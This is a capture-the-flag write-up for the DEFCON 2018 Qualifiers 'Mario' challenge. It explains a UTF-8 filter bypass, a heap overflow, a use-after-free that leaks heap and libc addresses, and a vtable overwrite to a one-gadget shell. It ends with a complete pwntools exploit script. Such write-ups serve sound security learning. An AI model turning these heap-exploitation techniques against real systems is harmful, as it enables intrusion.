Although I didn’t have much time to do CTFs as of late, I sat down for part of the DEFCON 2018 Qualifiers with HATS_SG. Among the challenges solved, Mario was a rather peculiar (and somewhat amusing) one that involved multiple heap exploitation techniques along with some tricks to get an exploit working successfully.
Overview
We were given a 64-bit ELF with all protections enabled.
$ checksec mario [*] '/home/uwuntu/dc18/mario/mario' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
The executable is a menu-style application that allows us to make our own pizzas:
Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: N
Hello, what's your name? asdf
>> Welcome asdf
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: O
>> how many pizzas? 2
Ordering pizza #1
>> how many ingredients? 3
Tell me ingridient #1: qwer
Tell me ingridient #2: qwert
Tell me ingridient #3: qwerty
Ordering pizza #2
>> how many ingredients? 2
Tell me ingridient #1: qwer
Tell me ingridient #2: qwert
Order is complete, thanks!
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: C
Before I start cooking your pizzas, do you have anything to declare? Please explain: hsberdgka
-------- COOKING PIZZA #1 --------
Adding ingredient: qwer
Adding ingredient: qwert
Adding ingredient: qwerty
Cooked new pizza:
BadPizza: qwerqwertqwerty
-------- COOKING PIZZA #2 --------
Adding ingredient: qwer
Adding ingredient: qwert
Cooked new pizza:
BadPizza: qwerqwert
found non-approved pizzas. come on.
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: A
Admire these beauties... (2)
Nothing to admire here, pretty bad stuff...
Nothing to admire here, pretty bad stuff...
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: L
see you asdf
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: E
Ooookay, ciao!
Initial reversing of the function cook_pizzas()
shows that emoji ingredients are allowed as encoded by the UTF-8 strings \xf0\x9f\x8d\x8d
, \xf0\x9f\x90\x94
, \xf0\x9f\x8d\x85
, \xf0\x9f\x8d\x8c
which gives us 🐔🍅🍌🍍 and even 💩. If we try to order a pizza with 🍍, the application kicks us out.
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice: O
>> how many pizzas? 1
Ordering pizza #1
>> how many ingredients? 1
Tell me ingridient #1: 🍍
You serious? PINEAPPLE? Tu sei un pazzo, get out. https://youtu.be/J6dFEtb06nw?t=27
OUT!
Heap Overflow Vulnerability
When a pizza is cooked, all the ingredients are checked with strstr()
and pushed into a std::vector
. The explanation is copied into a heap buffer using strcpy()
:
printf("Before I start cooking your pizzas, do you have anything to declare? Please explain: ");
read_safe((unsigned __int8 *)src, 0x12C);
v1 = strlen(src);
cust->explanation= (char *)malloc(v1 + 1);
strcpy(cust->explanation, src);
Note here that the malloc size depends on the initial explanation given when cooking our pizzas. In addition, when Mario gets angry (triggered when 🍍 is in a cooked pizza), we unlock an explanation menu option where 300 bytes are read into the initially malloc-ed explanation buffer:
printf("last chance, explain yourself: ");
read_safe((unsigned __int8 *)current_customer->explanation, 0x12Cu);
puts("too bad, no explanation is reasonable. BAM BAM BAM!");
current_customer->banned = 1;
This presents a heap overflow vulnerability, when our initial explanation is smaller than the final explanation. Unfortunately the application does not allow 🍍 when entering pizza ingredients so getting to this point would be impossible.
Smuggling in a 🍍
Individual pizza ingredients are checked one by one to see if it is a valid UTF-8 string:
while ( v6 < v7 )
{
v2 = a1[v6];
bit6 = (v2 & 0x40) != 0;
bit5 = (v2 & 0x20) != 0;
bit4 = (v2 & 0x10) != 0;
if ( v2 >> 7 == 1 )
{
if ( bit6 && bit5 != 1 )
{
if ( a1[v6 + 1] >= 0 )
return 0LL;
v6 += 2;
}
else if ( bit6 && bit5 && bit4 != 1 )
{
if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 )
return 0LL;
v6 += 3;
}
else if ( bit6 && bit5 && bit4 && ((v2 & 8) != 0) != 1 )
{
if ( a1[v6 + 1] >= 0 || a1[v6 + 2] >= 0 || a1[v6 + 3] >= 0 )
return 0LL;
v6 += 4;
}
else
{
if ( bit6 == 1 || bit5 == 1 || bit4 == 1 )
return 0LL;
++v6;
}
}
else
{
++v6;
}
}
Since Mario gets angry when a 🍍 is in the concatenated string of all pizza ingredients, it is possible for a 🍍 to slip past the initial UTF-8 string check by making two UTF-8 ingredients that, when concatenated, yields a 🍍 in a sliding UTF-8 character window. One such sequence that satisfies the check is
\xf0\x9f\xf0\x9f, \x8d\x8d
which produces a valid 🍍 when concatenated (\xf0\x9f\x8d\x8d
). This allows us to bypass the check at pizza creation and make Mario upset, letting us get to the heap overflow vulnerability.
Use-After-Free Vulnerability
When Mario is upset, the customer is stored as a global variable upset_user
and we have a new menu option to print our explanation.
printf("your friend %s ordered a pizza with %s and I should stay calm?\n",
*(uint64_t*)&upset_user->name,
&pineapple);
printf("'That must be a mistake', you may say. But I asked, and this is what he had to say: %s\n",
*(uint64_t*)&upset_user->explanation);
return puts("niente scuse");
The pointer to the explanation is stored in a Customer
class which looks something like this:
Customer
{
char* name; // 8 bytes
vector<Pizza> ordered_pizzas; // 24 bytes
char* explanation; // 8 bytes
vector<Pizza> cooked_pizzas; // 24 bytes
char unk3; // 1 byte
char banned; // 1 byte
char unk4[6]; // 6 bytes
};
The total number of ordered pizzas is a byte and the total number of good pizzas is also a byte. If they are equal (that all pizzas are valid), we move ahead to cook the pizzas.
.text:0000000000002E42 loc_2E42: .text:0000000000002E42 movzx eax, [rbp+var_9F] ; total pizzas .text:0000000000002E49 shr al, 4 .text:0000000000002E4C mov edx, eax .text:0000000000002E4E movzx eax, [rbp+var_A0]; good pizzas .text:0000000000002E55 and eax, 0Fh .text:0000000000002E58 cmp dl, al .text:0000000000002E5A jz short loc_2E6D .text:0000000000002E5C lea rdi, aFoundNonApprov ; "found non-approved pizzas. come on." .text:0000000000002E63 call puts .text:0000000000002E68 jmp loc_2EF7 .text:0000000000002E6D loc_2E6D: .text:0000000000002E6D lea rdi, aMoltoBeneAllCo ; "Molto bene, all cooked!" .text:0000000000002E74 call puts .text:0000000000002E79 movzx eax, [rbp+var_9F] ; total pizzas .text:0000000000002E80 and eax, 0Fh .text:0000000000002E83 test al, al .text:0000000000002E85 jnz short loc_2EF7 .text:0000000000002E87 mov rax, [rbp+var_B8] ; Cust obj .text:0000000000002E8E mov rax, [rax+20h] ; explanation ptr .text:0000000000002E92 mov rdi, rax ; ptr .text:0000000000002E95 call free .text:0000000000002E9A jmp short loc_2EF7
This gives us a use-after-free condition when we order a good pizza and 16 pineapple pizzas, since we trigger the call to free(cust->explanation)
.
Leaking Addresses
As with exploiting most PIE- and ASLR- enabled binaries, the first step is to leak some useful addresses.
We can leak a heap address by ordering a good pizza and 16 pineapple pizzas, then cook them with a sufficiently large explanation (at least smallbin-sized) so that the explanation chunk is placed in the unsorted bin. The chunk is then freed at the end of the cooking process. We trigger the use-after-free by printing our explanation, which is now in the unsorted bin. It seems that at this point, our freed explanation is the first chunk in the unsorted bin, and there is another free chunk after it. Hence, fd
points to the address of the second free chunk in the unsorted bin, and bk
points to the address of bins[1]
, the unsorted bin. upset_user->explanation
now points to the start of fd
, which gives us our heap address leak since we now know the address of the next chunk.
We can create a new customer, order a new pizza and cook it with a smallbin-sized explanation to take the second chunk off the unsorted bin. This sets fd
of our use-after-free chunk to the address of bins[1]
which is the address of the unsorted bin in the main arena malloc_state
structure. This gives us our libc leak, since the malloc_state
structure is located at a fixed offset relative to the libc base.
Final Exploit
We exploit the application vulnerabilities in the following sequence:
- Leak a heap address using the use-after-free vulnerability.
- Manipulate the unsorted bin layout to update the leaked information.
- Leak a libc address using the same use-after-free vulnerability.
- Manipulate the heap to allocate a pizza after our explanation.
- Perform a vtable overwrite past the explanation to point to a gadget of our choosing.
Steps 1-3 are detailed in earlier paragraphs. As it turns out, there is a win gadget (one-gadget shell) located at libc_base + 0x4526a
in the provided libc library, so we are set for step 5.
After toying around for a little bit, ordering a tomato pizza and cooking with a 4-byte explanation gets the heap to where we want it to be. We perform the vtable overwrite by using the heap overflow vulnerability described earlier, where we were given a last chance to explain ourselves. The overflow payload is a combination of
- the address of the win gadget
- padding to reach the pizza object
- a pointer to our address of the win gadget (the first item)
Finally, we trigger our overwritten vtable function by admiring a pizza, which gives us a shell:
------------------- USER MENU ------------------- (O)rder more pizzas (C)ook all pizzas (A)dmire cooked pizzas (L)eave Choice: A Admire these beauties... (3) ___ | ~~--. |%=@%%/ |o%%%/ __ |%%o/ _,--~~ | |(_/ ._ ,/' m%%%%| |o/ / `\. /' m%%o(_)%| |/ /o%%m `\ /' %%@=%o%%%o| /(_)o%%% `\ / %o%%%%%=@%%| /%%o%%@=%% \ | (_)%(_)%%o%%| /%%%=@(_)%%% | | %%o%%%%o%%%(_|/%o%%o%%%%o%%% | | %%o%(_)%%%%%o%(_)%%%o%%o%o%% | | (_)%%=@%(_)%o%o%%(_)%o(_)% | \ ~%%o%%%%%o%o%=@%%o%%@%%o%~ / \. ~o%%(_)%%%o%(_)%%(_)o~ ,/ \_ ~o%=@%(_)%o%%(_)%~ _/ `\_~~o%%%o%%%%%~~_/' `--..____,,--' [*] Switching to interactive mode $ ls flag $ cat flag OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}
For more information about malloc internals, here’s illustrations of the malloc_state
and malloc_chunk
structures.
Full exploit:
from pwn import *
p = process("./mario")
emojis = { 'pineapple': b"\xf0\x9f\x8d\x8d",
'tomato': b"\xf0\x9f\x8d\x85" }
def cust_new(name):
p.recvuntil("Choice:")
p.sendline("N")
p.recvuntil("name?")
p.sendline(name)
def cust_login(name):
p.recvuntil("Choice:")
p.sendline("L")
p.recvuntil("name?")
p.sendline(name)
def cook(explanation=''):
p.recvuntil("Choice:")
p.sendline("C")
p.recvuntil("explain:")
p.sendline(explanation)
p.recvuntil("USER MENU")
def order(items):
p.recvuntil("Choice:")
p.sendline("O")
p.recvuntil("how many pizzas?")
p.sendline(str(len(items)))
for i in range(len(items)):
p.recvuntil("how many ingredients?")
p.sendline(str(len(items[i])))
for ing in items[i]:
p.recvuntil(":")
p.sendline(ing)
log.info("pizza " + str(i+1) + ": adding " + str(ing))
def admire():
p.recvuntil("Choice:")
p.sendline("A")
p.recvline()
def cust_logout():
p.recvuntil("Choice:")
p.sendline("L")
def overflow(payload):
p.recvuntil("Choice:")
p.sendline("P")
p.recvuntil("explain yourself:")
p.sendline(payload)
def why_upset():
p.recvuntil("Choice:")
p.sendline("W")
p.recvuntil("say: ")
output = p.recvline()[:-1]
return repr(output)
prog = log.progress('leaking unsorted bin in main arena')
cust_new("1"*8)
good_pizza = [emojis['tomato']]
naughty_pizza = [emojis['tomato'] + emojis['pineapple'][:2] + emojis['pineapple'][:2],
emojis['pineapple'][2:] + emojis['tomato']]
payload = []
payload.append(good_pizza)
for _ in range(16):
payload.append(naughty_pizza)
order(payload)
cook("1"*0x104)
cust_logout()
heap_addr = u64(why_upset().decode('string_escape')[1:].ljust(8, b'\x00'))
prog.success(hex(heap_addr))
prog = log.progress('leaking libc base')
cust_new("2"*8)
order([good_pizza])
cook("2"*0x104)
cust_logout()
libc_leak = u64(why_upset()[1:-1].decode('string_escape').ljust(8, b'\x00'))
libc_base = libc_leak - 0x3c4b78
prog.success(hex(libc_base))
win_addr = libc_base + 0x4526a
prog = log.progress('overwriting vtable with win gadget')
cust_login("2"*8)
order([[emojis['tomato']]])
cook('V'*4)
cust_logout()
win_heap_addr = heap_addr - 3984
cust_login("1"*8)
overflow(p64(win_addr)*2 + "X"*144 + p64(win_heap_addr)*2)
prog.success("overwritten.")
log.info("Jumping to gadget...")
cust_login("2"*8)
admire()
p.interactive()